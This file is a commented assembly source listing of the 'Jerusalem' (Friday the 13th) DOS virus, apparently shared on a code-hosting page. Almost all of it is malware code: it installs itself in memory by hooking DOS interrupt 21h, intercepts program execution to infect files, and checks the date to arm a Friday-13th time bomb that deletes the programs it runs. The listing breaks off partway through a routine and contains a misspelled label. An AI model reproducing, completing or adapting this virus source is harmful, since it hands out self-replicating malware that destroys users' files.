📄 israeli.asm
字号:
;The "Jerusalem" virus.
;Also Called - Israeli, PLO, Friday the 13th - Version A
PAGE 64,132
;-----------------------------------------------------------------------;
; THE "JERUSALEM" VIRUS ;
;-----------------------------------------------------------------------;
;
ORG 100H ;
;
;-----------------------------------------------------------------------;
; JERUSALEM VIRUS ;
;-----------------------------------------------------------------------;
BEGIN_COM: ;COM FILES START HERE
JMP CONTINUE ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
A0103 DB 073H,055H
MS_DOS DB 'MsDos' ;
DB 000H,001H,015H,018H
TIME_BOMB DB 0 ;WHEN == 1 THIS FILE GETS DELETED!
DB 000H
A0010 DB 000H
A0011 DW 100H ;HOST SIZE (BEFORE INFECTION)
OLD_08 DW 0FEA5H,0F000H ;OLD INT 08H VECTOR (CLOCK TIC)
OLD_21 DW 1460H,024EH ;OLD INT 21H VECTOR
OLD_24 DW 0556H,16A5H ;001B
A_FLAG DW 7E48H ;???
A0021 DB 000H,000H,000H,000H,000H,000H,000H
DB 000H,000H,000H,000H
A002C DW 0 ;A SEGMENT
DB 000H,000H
A0030 DB 000H
A0031 DW 0178EH ;OLD ES VALUE
A0033 DW 0080H ;
;
EXEC_BLOCK DW 0 ;ENV. SEG. ADDRESS ;0035
DW 80H ;COMMAND LINE ADDRESS
DW 178EH ;+4
DW 005CH ;FCB #1 ADDRESS
DW 178EH ;+8
DW 006CH ;FCB #2 ADDRESS
DW 0178EH ;+12
;
HOST_SP DW 0710H ;(TAKEN FROM EXE HEADER) 0043
HOST_SS DW 347AH ;(AT TIME OF INFECTION)
HOST_IP DW 00C5H ;
HOST_CS DW 347AH ;
;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
;
A004B DW 0F010H ;
A004D DB 82H ;
A004E DB 0 ;
EXE_HDR DB 1CH DUP (?) ;004F
A006B DB 5 DUP (?) ;LAST 5 BYTES OF HOST
HANDLE DW 0005H ;0070
HOST_ATT DW 0020H ;0072
HOST_DATE DW 0021H ;0074
HOST_TIME DW 002DH ;0076
BLOCK_SIZE DW 512 ;512 BYTES/BLOCK
A007A DW 0010H
HOST_SIZE DW 27C0H,0001H ;007C
HOST_NAME DW 41D9H,9B28H ;POINTER TO HOST NAME
COMMAND_COM DB 'COMMAND.COM'
DB 1
A0090 DB 0,0,0,0,0
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CONTINUE: ;
CLD ;
MOV AH,0E0H ;DO A ???...
INT 21H ;
;
CMP AH,0E0H ;
JNC L01B5 ;
CMP AH,3 ;
JC L01B5 ;
;
MOV AH,0DDH ;
MOV DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE
MOV SI,0710H ;SI = SIZE OF OUR (VIRUS) CODE
ADD SI,DI ;SI = BEGINNING OF HOST CODE
MOV CX,CS:[DI+11H] ;CX = (SIZE OF HOST CODE?)
INT 21H ;
;
L01B5: MOV AX,CS ;TWEEK CODE SEGMENT BY 100H
ADD AX,10H ;
MOV SS,AX ;SS = TWEEKed CS
MOV SP,700H ;SP = END OF OUR CODE (VIRUS)
;
;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
;
PUSH AX ;JMP FAR CS+10H:IP-100H
MOV AX,offset BEGIN_EXE - offset BEGIN_COM
PUSH AX ;
RETF ;
;
;---------------------------------------;
ORG 0C5h ;
;---------------------------------------;
;
BEGIN_EXE: ;EXE FILES START HERE
CLD ;
PUSH ES ;
;
MOV CS:[A0031],ES ;
MOV CS:[EXEC_BLOCK+4],ES ;INIT EXEC_BLOCK SEG VALUES
MOV CS:[EXEC_BLOCK+8],ES ;
MOV CS:[EXEC_BLOCK+12],ES ;
;
MOV AX,ES ;TWEEK ES SAME AS CS ABOVE
ADD AX,10H ;
ADD CS:[HOST_CS],AX ; SAVE NEW ES VALUE
ADD CS:[HOST_SS],AX ;
;
MOV AH,0E0H ;
INT 21H ;
;
CMP AH,0E0H ;
JNC L0106 ;00F1 7313
;
CMP AH,3 ;
POP ES ;00F6
MOV SS,CS:[HOST_SS] ;
MOV SP,CS:[HOST_SP] ;
JMP far CS:[HSOT_IP] ;
;
L0106: XOR AX,AX ;0106 33C0
MOV ES,AX ;0108 8EC0
MOV AX,ES:[03FC] ;010A 26A1FC03
MOV CS:[A004B],AX ;010E 2EA34B00
MOV AL,ES:[03FE] ;0112 26A0FE03
MOV CS:[A004D],AL ;0116 2EA24D00
MOV Word ptr ES:[03FC],A5F3 ;011A 26C706FC03F3A5
MOV Byte ptr ES:[03FE],CB ;0121 26C606FE03CB
POP AX ;0127 58
ADD AX,10H ;0128 051000
MOV ES,AX ;012B 8EC0
PUSH CS ;012D 0E
POP DS ;012E 1F
MOV CX,710H ;SIZE OF VIRUS CODE
SHR CX,1 ;0132 D1E9
XOR SI,SI ;0134 33F6
MOV DI,SI ;0136 8BFE
PUSH ES ;0138 06
MOV AX,0142 ;0139 B84201
PUSH AX ;013C 50
JMP 0000:03FC ;013D EAFC030000
;
MOV AX,CS ;0142 8CC8
MOV SS,AX ;0144 8ED0
MOV SP,700H ;0146 BC0007
XOR AX,AX ;0149 33C0
MOV DS,AX ;014B 8ED8
MOV AX,CS:[A004B] ;014D 2EA14B00
MOV [03FC],AX ;0151 A3FC03
MOV AL,CS:[A004D] ;0154 2EA04D00
MOV [03FE],AL ;0158 A2FE03
MOV BX,SP ;015B 8BDC
MOV CL,04 ;015D B104
SHR BX,CL ;015F D3EB
ADD BX,+10 ;0161 83C310
MOV CS:[A0033],BX ;
;
MOV AH,4AH ;
MOV ES,CS:[A0031] ;
INT 21H ;MODIFY ALLOCATED MEMORY BLOCKS
;
MOV AX,3521 ;
INT 21H ;GET VECTOR
MOV CS:[OLD_21],BX ;
MOV CS:[OLD_21+2],ES ;
;
PUSH CS ;0181 0E
POP DS ;0182 1F
MOV DX,offset NEW_INT_21 ;0183 BA5B02
MOV AX,2521 ;
INT 21H ;SAVE VECTOR
;
MOV ES,[A0031] ;018B 8E063100
MOV ES,ES:[A002C] ;018F 268E062C00
XOR DI,DI ;0194 33FF
MOV CX,7FFFH ;0196 B9FF7F
XOR AL,AL ;0199 32C0
REPNE SCASB ;019C AE
CMP ES:[DI],AL ;019D 263805
LOOPNZ 019B ;01A0 E0F9
MOV DX,DI ;01A2 8BD7
ADD DX,+03 ;01A4 83C203
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
PUSH ES ;
POP DS ;
PUSH CS ;
POP ES ;
MOV BX,35H ;
;
PUSH DS ;01B1 ;
PUSH ES ;
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
;
MOV AH,2AH ;
INT 21H ;GET DATE
;
MOV Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
;
CMP CX,1987 ;IF 1987...
JE L01F7 ;...JUMP
CMP AL,5 ;IF NOT FRIDAY...
JNE L01D8 ;...JUMP
CMP DL,0DH ;IF DATE IS NOT THE 13th...
JNE L01D8 ;...JUMP
INC Byte ptr CS:[TIME_BOMB] ;TIC THE BOMB COUNT
JMP L01F7 ;
;
L01D8: MOV AX,3508H ;GET CLOCK TIMER VECTOR
INT 21H ;GET VECTOR
MOV CS:[OLD_08],BX ;
MOV CS:[OLD_08],ES ;
;
PUSH CS ;DS=CS
POP DS ;
;
MOV Word ptr [A_FLAG],7E90H ;
;
MOV AX,2508H ;SET NEW CLOCK TIC HANDLER
MOV DX,offset NEW_08 ;
INT 21H ;SET VECTOR
;
L01F7: POP DX ;
POP CX ;
POP BX ;
POP AX ;
POP ES ;
POP DS ;
PUSHF ;
CALL far CS:[OLD_21] ;
PUSH DS ;
POP ES ;
;
MOV AH,49H ;
INT 21H ;FREE ALLOCATED MEMORY
;
MOV AH,4DH ;
INT 21H ;GET RETURN CODE OF A SUBPROCESS
;
;---------------------------------------;
; THIS IS WHERE WE REMAIN RESIDENT ;
;---------------------------------------;
MOV AH,31H ;
MOV DX,0600H ;020F ;
MOV CL,04 ;
SHR DX,CL ;
ADD DX,10H ;
INT 21H ;TERMINATE AND REMAIN RESIDENT
;
;---------------------------------------;
NEW_24: XOR AL,AL ;021B ;CRITICAL ERROR HANDLER
IRET ;
;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 08 (CLOCK TIC) HANDLER ;
;-----------------------------------------------------------------------;
NEW_08: CMP Word ptr CS:[A_FLAG],2 ;021E
JNE N08_10 ;IF ... JUMP
;
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
PUSH BP ;
MOV AX,0602H ;SCROLL UP TWO LINES
MOV BH,87H ;INVERSE VIDEO ATTRIBUTE
MOV CX,0505H ;UPPER LEFT CORNER
MOV DX,1010H ;LOWER RIGHT CORNER
INT 10H ;
POP BP ;
POP DX ;
POP CX ;
POP BX ;
POP AX ;
;
N08_10: DEC Word ptr CS:[A_FLAG] ;
JMP N08_90 ;
MOV Word ptr CS:[A_FLAG],1 ;
;
PUSH AX ;
PUSH CX ;
PUSH SI ; THIS DELAY CODE NEVER GETS EXECUTED
MOV CX,4001H ; IN THIS VERSION
REP LODSB ;
POP SI ;
POP CX ;
POP AX ;
;
N08_90: JMP far CS:[OLD_08] ;PASS CONTROL TO OLD INT 08 VECTOR
;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 21 HANDLER ;
;-----------------------------------------------------------------------;
NEW_21: PUSHF ;025B ;
CMP AH,0E0H ;IF A E0 REQUEST...
JNE N21_10 ;
MOV AX,300H ;...RETURN AX = 300H
POPF ; (OUR PUSHF)
IRET ;
;
N21_10: CMP AH,0DDH ;0266 ;
JE N21_30 ;IF DDH...JUMP TO _30
CMP AH,0DEH ;
JE N21_40 ;IF DEH...JUMP TO _40
CMP AX,4B00H ;IF SPAWN A PROG...
JNE N21_20 ;
JMP N21_50 ;...JUMP TO _50
;
N21_20: POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;ANY OTHER INT 21 GOES TO OLD VECTOR
;
N21_30: POP AX ;REMOVE OUR (PUSHF)
POP AX ;?
MOV AX,100H ;
MOV CS:[000A],AX ;
POP AX ;
MOV CS:[000C],AX ;
REP MOVSB ;
POPF ; (OUR PUSHF)
MOV AX,CS:[000F] ;
JMP far CS:[000A] ;
;
N21_40: ADD SP,+06 ;0298 ;
POPF ; (OUR PUSHF)
MOV AX,CS ;
MOV SS,AX ;
MOV SP,710H ;SIZE OF VIRUS CODE
PUSH ES ;
PUSH ES ;02A4 06
XOR DI,DI ;02A5 33FF
PUSH CS ;02A7 0E
POP ES ;02A8 07
MOV CX,0010 ;02A9 B91000
MOV SI,BX ;02AC 8BF3
MOV DI,0021 ;02AE BF2100
REP MOVSB ;02B2 A4
MOV AX,DS ;02B3 8CD8
MOV ES,AX ;02B5 8EC0
MUL Word ptr CS:[A007A] ;02B7 2EF7267A00
ADD AX,CS:[002B] ;02BC 2E03062B00
ADC DX,+00 ;02C1 83D200
DIV Word ptr CS:[A007A] ;02C4 2EF7367A00
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